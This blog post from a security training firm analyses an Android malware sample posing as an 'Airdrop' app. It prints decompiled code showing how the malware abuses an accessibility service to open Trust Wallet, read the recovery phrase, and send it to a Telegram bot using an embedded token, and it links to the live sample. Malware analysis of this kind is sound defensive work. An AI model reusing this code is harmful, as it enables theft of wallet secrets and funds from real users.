Mobile Malware Analysis Part 1 – Crypto Wallet Stealer

					<div>
				<div>
		<div>
							<div>
			<div>
						<h3>Introduction</h3><p>Hi Everyone! Welcome to the first part of the blog series based on Mobile Malware Analysis where we will deep dive into the world of mobile malware, exploring its capabilities and shed light on the potential risks it poses to the user’s privacy and security. In this post, we will focus on malware that leverages accessibility features to carry its malicious activities with a particular emphasis on stealing wallet credentials.</p><p><strong>Application Name</strong>: Airdrop<br /><strong>Package ID</strong>: com.test.accessibility<br /><strong>SHA1</strong>: 61f4bf9b3d1dba0f023e95aaef50e2cdb6b1c6ae</p><p>The Sample Malware Artifact can be downloaded from : <strong><a href="https://malshare.com/sample.php?action=detail&amp;hash=70b07a67b618a6352bf35a735645b156" rel="noreferrer" target="_blank">https://malshare.com/sample.php?action=detail&amp;hash=70b07a67b618a6352bf35a735645b156</a></strong></p><h2>Analysis</h2><p>Let’s begin analyzing the apk using <strong>jadx-gui</strong> to get an idea of what the Android malware is doing once installed on the victim’s device.</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<h3>Android Manifest.xml</h3><h3>Permissions</h3>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
				<div>
		<pre>
			<code>
				&lt;uses-permission android:name="android.permission.INTERNET"/&gt;
			</code>
		</pre>
	</div>
			</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<p>We could see that the malware is having Internet permission which means that the application possibly communicating with an end-server or downloading a payload.</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<h3>Components</h3>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
				<div>
		<pre>
			<code>
				&lt;activity android:name="com.test.accessibility.SplashActivity" android:screenOrientation="portrait" android:configChanges="fontScale|colorMode|layoutDirection|density|smallestScreenSize|screenSize|uiMode|screenLayout|orientation|navigation|keyboardHidden|keyboard|touchscreen|locale|mnc|mcc"&gt;
&lt;intent-filter&gt;
    &lt;action android:name="android.intent.action.MAIN"/&gt;
    &lt;category android:name="android.intent.category.LAUNCHER"/&gt;
&lt;/intent-filter&gt;

</activity>
<activity android:name=“com.test.accessibility.MainActivity” android:screenOrientation=“portrait” android:configChanges=“fontScale|colorMode|layoutDirection|density|smallestScreenSize|screenSize|uiMode|screenLayout|orientation|navigation|keyboardHidden|keyboard|touchscreen|locale|mnc|mcc”/>
<service android:label=“@string/app_name_service” android:name=“com.test.accessibility.MyAccessibilityService” android:permission=“android.permission.BIND_ACCESSIBILITY_SERVICE” android:enabled=“true” android:exported=“true”>
<intent-filter>
<action android:name=“android.accessibilityservice.AccessibilityService”/>
</intent-filter>
<meta-data android:name=“android.accessibilityservice” android:resource=“@xml/serviceconfig”/>
</service>







					<div>
				<div>
		<div>
							<div>
			<div>
						<p>We could see there are 2 activities `Splash Activity` (which is the **Launcher Activity**) and `MainActivity` and an accessibility service named `MyAccessibilityService` (we will learn more about Accessibility Services in the upcoming sections)</p><p>Let’s start analyzing **Splash Activity**</p><p>###Splash Activity</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
				<div>
		<pre>
			<code>
				public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().getDecorView().setLayoutDirection(1);
setContentView(R.layout.activity_splash);
Thread thread = new Thread(new Runnable() {
    @Override
    public final void run() {
        SplashActivity.this.O();
    }
});
this.s = thread;
thread.start();

}

public /* synthetic */ void O() {
try {
Thread.sleep(1500L);
Intent intent = new Intent(getApplicationContext(), MainActivity.class);
startActivity(intent);
finish();
} catch (InterruptedException e2) {
e2.printStackTrace();
}
}







					<div>
				<div>
		<div>
							<div>
			<div>
						<p>We could see that this activity does nothing malicious as it just started **MainActivity**.</p><p>### Main Activity</p><p>Let’s start analyzing this activity from **onCreate()** method</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
				<div>
		<pre>
			<code>
				public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (O()) {
    U();
} else {
    W();
}

}







					<div>
				<div>
		<div>
							<div>
			<div>
						<p>In function O , they are checking whether accessibility is enabled or not using <code>Settings</code> class. If it is enabled they are checking whether this app’s <code>MyAccessibilityService</code> is also present in the list of accessibility services provided by the device. If it is present we return True else we return False. Here is the code for function O. </p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
				<div>
		<pre>
			<code>
				public boolean O() {
String settingValue;
int accessibilityEnabled = 0;
try {
    accessibilityEnabled = Settings.Secure.getInt(getContentResolver(), "accessibility_enabled");
} catch (Settings.SettingNotFoundException e2) {
}
TextUtils.SimpleStringSplitter mStringColonSplitter = new TextUtils.SimpleStringSplitter(':');
if (accessibilityEnabled == 1 &amp;&amp; (settingValue = Settings.Secure.getString(getContentResolver(), "enabled_accessibility_services")) != null) {
    mStringColonSplitter.setString(settingValue);
    while (mStringColonSplitter.hasNext()) {
        String accessibilityService = mStringColonSplitter.next();
        if (accessibilityService.equalsIgnoreCase("com.test.accessibility/com.test.accessibility.MyAccessibilityService")) {
            return true;
        }
    }
    return false;
}
return false;

}







					<div>
				<div>
		<div>
							<div>
			<div>
						<p>Now let’s check the functionality of method **U**</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
				<div>
		<pre>
			<code>
				void U() {
try {
    ComponentName name = new ComponentName("com.wallet.crypto.trustapp", "com.wallet.crypto.trustapp.ui.start.activity.StartActivity");
    Intent i = new Intent("android.intent.action.MAIN");
    i.addCategory("android.intent.category.LAUNCHER");
    i.setFlags(270532608);
    i.setComponent(name);
    startActivity(i);
} catch (Exception e2) {
    V();
}

}







					<div>
				<div>
		<div>
							<div>
			<div>
						<p>In function V we are sending an intent to start the launcher activity of an application with a package named as <code>com.wallet.crypto.trustapp.</code> At first, I thought this is also a malicious application, but then found out that it is a legit application named <a href="https://play.google.com/store/apps/details?id=com.wallet.crypto.trustapp" rel="noreferrer" target="_blank">Trust: Crypto &amp; Bitcoin Wallet</a> which has more than 10 million downloads in Google Play Store. That is when I understood that is going to be the vulnerable application.** </p><p>In the case of functions <strong>V</strong> and <strong>W</strong>, </p><ul><li><p>function V will exit the application if the Crypto application was not installed or that particular activity (ie StartActivity) is not found.</p></li><li><p>function W will request us to allow the accessibility service permission for this application after which it performs the functionalities we discussed in the above sections.</p></li></ul>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
														<img alt="" height="473" src="https://8ksec.io/wp-content/uploads/2023/07/malware-app.png" width="800" />															</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<p>Malware application requesting Accessibility service permission</p><p>Before moving on to analyze <strong>MyAccessibilityService</strong> , let’s understand a bit about AccessibilityService, AccessbilityNodeInfo classes, and all of its features. </p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<h3>Accessibility Service</h3><p>Accessibility services should are used to assist users with disabilities in using Android devices and apps. They run in the background and receive callbacks by the system when Accessibility Service events like clicking a button, or scrolling a list are performed. </p><h3>How to declare an Accessibility Service</h3><p>To declare Accessibility as a service in AndroidManifest.xml , it must satisfy 2 conditions</p><ul><li><p>Specify that it can handle the <code>android.accessibilityservice.AccessibilityService</code> Intent</p></li><li><p>Request the&nbsp;<code>[Manifest.permission.BIND_ACCESSIBILITY_SERVICE](https://developer.android.com/reference/android/Manifest.permission#BIND_ACCESSIBILITY_SERVICE)</code>&nbsp;permission to ensure that only the system can bind to it.</p></li></ul><p>If either one of the conditions isn’t satisfied, the system will ignore the service. </p><h3>Role of onAccessibilityEvent()</h3><ul><li><p>The <code>onAccessibilityEvent()</code> method plays a crucial role in the Android ecosystem by enabling developers to receive and handle diverse accessibility events. When the system dispatches an event, this method allows developers to access valuable information such as the triggering application’s name, the component responsible for the event, and the event’s content.</p></li><li><p>By overriding the <code>onAccessibilityEvent()</code> method, developers can implement custom actions tailored to specific accessibility events. This flexibility empowers them to create Accessibility services that cater to the unique needs of their users, making the Android platform more inclusive and user-friendly.</p></li></ul><p>In conclusion, the <code>onAccessibilityEvent()</code> method serves as a vital component of Android’s Accessibility service, facilitating the creation of specialized services that enhance accessibility and cater to diverse user requirements.</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<h3>Types of Events</h3><p>Accessibility events serve as an integral part of the Android system, providing valuable feedback to users and enhancing their overall experience. These events are triggered when users perform specific actions, such as clicking buttons, scrolling pages, or selecting items, among many others. By generating accessibility events, Android aims to ensure that Accessibility services can deliver meaningful information and assistance to users.</p><p>Let’s explore some of the common accessibility events:</p><ol start=""><li><p><code>TYPE_VIEW_CLICKED</code>: This event signifies a user’s action of clicking on a view, enabling developers to respond accordingly.</p></li><li><p><code>TYPE_VIEW_SELECTED</code>: When users select an item, this event is triggered.</p></li><li><p><code>TYPE_VIEW_FOCUSED</code>: This event captures the user’s action of focusing on a particular view.</p></li><li><p><code>TYPE_VIEW_SCROLLED</code>: This event is generated when a user scrolls through a view.</p></li><li><p><code>TYPE_NOTIFICATION_STATE_CHANGED</code>: This event is raised when there is a change in the state of notifications, such as displaying information to the user.</p></li></ol><h3>AccessibilityNodeInfo</h3><p>The <code>AccessibilityNodeInfo</code> class serves as a representation of a node within the window content, encompassing both the node itself and the actions that can be requested from its source.</p><p>One of the key features of this class is the assignment of integer codes to various accessibility actions. By utilizing the <code>performAction(int action)</code> method, developers can execute these actions programmatically.</p><p>When combined with the <code>AccessibilityEvent</code> class, which encapsulates information about accessibility events, the <code>AccessibilityNodeInfo</code> class provides a comprehensive toolkit for creating inclusive and accessible applications. Accessibility events trigger actions on the corresponding <code>AccessibilityNodeInfo</code> objects, enabling developers to respond appropriately to user interactions and provide meaningful feedback.</p><p>Here is a list of common action codes and their corresponding actions that can be performed using the <code>performAction(int action)</code> method:</p><ul><li><p><strong>ACTION_CLICK → 16</strong>: Executes a click action on the node, simulating a user’s click on the corresponding view.</p></li><li><p><strong>ACTION_FOCUS → 1</strong>: Sets focus on the node, allowing the user to interact with it or perform subsequent actions.</p></li><li><p><strong>ACTION_LONG_CLICK → 32</strong>: Initiates a long-click action on the node, similar to a prolonged press by the user.</p></li><li><p><strong>ACTION_SELECT → 4</strong>: Selects the node, indicating that it is currently chosen or active.</p></li><li><p><strong>ACTION_SCROLL_FORWARD → 4096</strong>: Performs a forward scrolling action on the node, allowing the user to navigate through scrollable content.</p></li><li><p><strong>ACTION_SCROLL_BACKWARD → 8192</strong>: Performs a backward scrolling action on the node, enabling the user to scroll back within scrollable content.</p></li></ul><p><code>performGlobalAction()</code></p><p>Performs a global action that can be performed at any moment regardless of the current application or user location in that application. For example, going back, going home, opening recents, etc.</p><ul><li><p>performGlobalAction(1) → GLOBAL_ACTION_BACK → Action to go back</p></li><li><p>performGlobalAction(2) → GLOBAL_ACTION_HOME → Action to go home</p></li></ul><p>Now let’s start analyzing <code>MyAccessibilityService</code> class.</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
				<div>
		<pre>
			<code>
				public void onAccessibilityEvent(AccessibilityEvent event) {
if (event.getPackageName().equals("com.wallet.crypto.trustapp")) {
    AccessibilityNodeInfo nodeInfo = event.getSource();
    if (nodeInfo != null) {
        if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.start.activity.StartActivity")) {
            for (AccessibilityNodeInfo accessibilityNodeInfo : nodeInfo.findAccessibilityNodeInfosByText("Settings")) {
                if (accessibilityNodeInfo.isClickable()) {
                    accessibilityNodeInfo.performAction(16);
                    nodeInfo.refresh();
                    nodeInfo.refresh();
                    nodeInfo.refresh();
                    nodeInfo.findAccessibilityNodeInfosByText("Wallets").get(0).getParent().performAction(16);
                    return;
                }
            }
        } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletsActivity")) {
            try {
                nodeInfo.getChild(3).getChild(1).getChild(0).getChild(2).performAction(16);
            } catch (Exception e2) {
            }
        } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletInfoActivity")) {
            if (f3329b) {
                nodeInfo.getChild(2).performAction(16);
            } else {
                nodeInfo.getChild(4).performAction(16);
            }
        } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity")) {
            nodeInfo.getChild(0).getChild(3).performAction(16);
            nodeInfo.getChild(0).getChild(4).performAction(16);
            nodeInfo.refresh();
            nodeInfo.refresh();
            nodeInfo.refresh();
            String values = "" + nodeInfo.getChild(0).getChild(3).getText().toString() + " ";
            f3329b = true;
            a("2012379995:AAGPhRr3ntEfaB38Ul4PveGwNYLaRSiikLY", "-1001491052715", ((((((((((values + nodeInfo.getChild(0).getChild(5).getText().toString() + " ") + nodeInfo.getChild(0).getChild(7).getText().toString() + " ") + nodeInfo.getChild(0).getChild(9).getText().toString() + " ") + nodeInfo.getChild(0).getChild(11).getText().toString() + " ") + nodeInfo.getChild(0).getChild(13).getText().toString() + " ") + nodeInfo.getChild(0).getChild(15).getText().toString() + " ") + nodeInfo.getChild(0).getChild(17).getText().toString() + " ") + nodeInfo.getChild(0).getChild(19).getText().toString() + " ") + nodeInfo.getChild(0).getChild(21).getText().toString() + " ") + nodeInfo.getChild(0).getChild(23).getText().toString() + " ") + nodeInfo.getChild(0).getChild(25).getText().toString());
            performGlobalAction(1);
        } else if (event.getClassName().toString().equals("androidx.appcompat.app.AlertDialog")) {
            try {
                nodeInfo.findAccessibilityNodeInfosByText("OK").get(0).performAction(16);
                f3329b = false;
            } catch (Exception e3) {
            }
        } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.addwallet.activity.AddWalletActivity")) {
            performGlobalAction(2);
        }
    }
} else if (!event.getPackageName().toString().equals("com.test.accessibility")) {
    performGlobalAction(1);
}

}







					<div>
				<div>
		<div>
							<div>
			<div>
						<p>Firstly it checks whether a package named “com.wallet.crypto.trustapp” has called the accessibility service. </p><p>Next, they are analyzing the class name of the event (<strong><code>event.getClassName().toString()</code></strong>) to determine the current activity or component being interacted with.</p><p>If the class name matches <code>com.wallet.crypto.trustapp.ui.start.activity.StartActivity</code> then, </p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<p>Note:<br />To know the current activity on the screen we can use the following ADB command<br />**adb shell dumpsys activity activities | grep mResumedActivity**</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
														<img alt="" height="502" src="https://8ksec.io/wp-content/uploads/2023/07/mobile-malware-crypto.png" width="800" />															</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<ul><li><p>It searches for an accessibility nodeinfo object that has text <strong>Settings</strong> and checks if it is clickable. If it is clickable, it then performs a click action.</p></li><li><p>Then, multiple calls to <strong><code>nodeInfo.refresh()</code></strong> are made, potentially to update the node’s state or retrieve the latest information.</p></li><li><p>It finds accessibility node info objects containing the text “Wallets” and then clicks on that node.</p></li></ul><p>In the next couple of if conditions , nothing much happens since only clicking events occur. </p><p>While checking for class name <code>com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity</code>, we could see some interesting functionality taking place.</p><ul><li><p>After performing a couple of click and refresh actions, some data present on a node is extracted with some more data is passed to a function <strong>a</strong> along with 2 other parameters.</p></li></ul><p>Here is the code for method <strong>a</strong></p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
				<div>
		<pre>
			<code>
				void a(String token, String id, String message) {
try {
    b0.b bVar = new b0.b();
    TimeUnit timeUnit = TimeUnit.SECONDS;
    b0 okHttpClient = bVar.c(20L, timeUnit).b(3L, timeUnit).a();
    u.b a2 = new u.b().b(g.a0.a.a.f()).a(g.d());
    u retrofit = a2.c("https://api.telegram.org/bot" + token + "/").g(okHttpClient).e();
    e serviceMain = (e) retrofit.b(e.class);
    serviceMain.a(id, message).z(new a(token, id, message));
} catch (Exception e2) {
}

}







					<div>
				<div>
		<div>
							<div>
			<div>
						<p>Finally, we could see the malicious behavior of this application. We could see that the data extracted from the app (possibly confidential data) is being to a malicious telegram bot endpoint. </p><p>Domain → <code>[https://api.telegram.org/bot](https://api.telegram.org/bot)</code></p><p>After looking through the code we could see the endpoint it is being sent to is <code>sendMessage</code>. </p><p>Let’s check our traffic to see what data is being sent. I am using Mitmproxy to see the traffic. </p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
														<img alt="" height="342" src="https://8ksec.io/wp-content/uploads/2023/07/malwar-analysis-1024x438.png" width="800" />															</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<p>We could see that the secret key that was formed during account formation is being to a malicious endpoint. Using the secret key, the attacker could extract all the sensitive trading information of that user. </p><h3>Conclusion</h3><p>In this first part of our mobile malware analysis series, we’ve uncovered the world of Android malware that targets wallet credentials using accessibility features. As we continue this journey, we’ll explore more intriguing facets of mobile malware, equipping ourselves with the knowledge to stay one step ahead. So, stay tuned for the next installment, where we’ll unravel another captivating chapter in the ever-evolving landscape of mobile malware.</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
			
					<div>
				<div>
		<div>
							<div>
			<div>
						<h2><strong>GET IN TOUCH</strong></h2><p>Visit our <a href="https://8ksec.io/training" rel="noreferrer" target="_blank">training</a> page if you’re interested in learning more about these techniques and developing your abilities further. Additionally, you may look through our <a href="https://8ksec.io/event-and-calendar/" rel="noreferrer" target="_blank">Events</a> page and sign up for our upcoming Public trainings.&nbsp;</p><p>Please don’t hesitate to reach out to us through out <a href="https://8ksec.io/contact-us/" rel="noreferrer" target="_blank">Contact Us</a> page or through the Button below if you have any questions or need assistance with Penetration Testing or any other Security-related Services. We will answer in a timely manner within 1 business day.</p><p>We are always looking for talented people to join our team. Visit out <a href="https://8ksec.io/careers/" rel="noreferrer" target="_blank">Careers</a> page to look at the available roles. We would love to hear from you.</p>						</div>
			</div>
				</div>
	</div>
						</div>
	
						</div><p>The post <a href="https://8ksec.io/mobile-malware-analysis-part-1-crypto-wallet-stealer/" rel="noreferrer" target="_blank">Mobile Malware Analysis Part 1 – Crypto Wallet Stealer</a> first appeared on <a href="https://8ksec.io" rel="noreferrer" target="_blank">New</a>.</p>

Article Link: Mobile Malware Analysis Part 1 – Crypto Wallet Stealer | 8kSec Blogs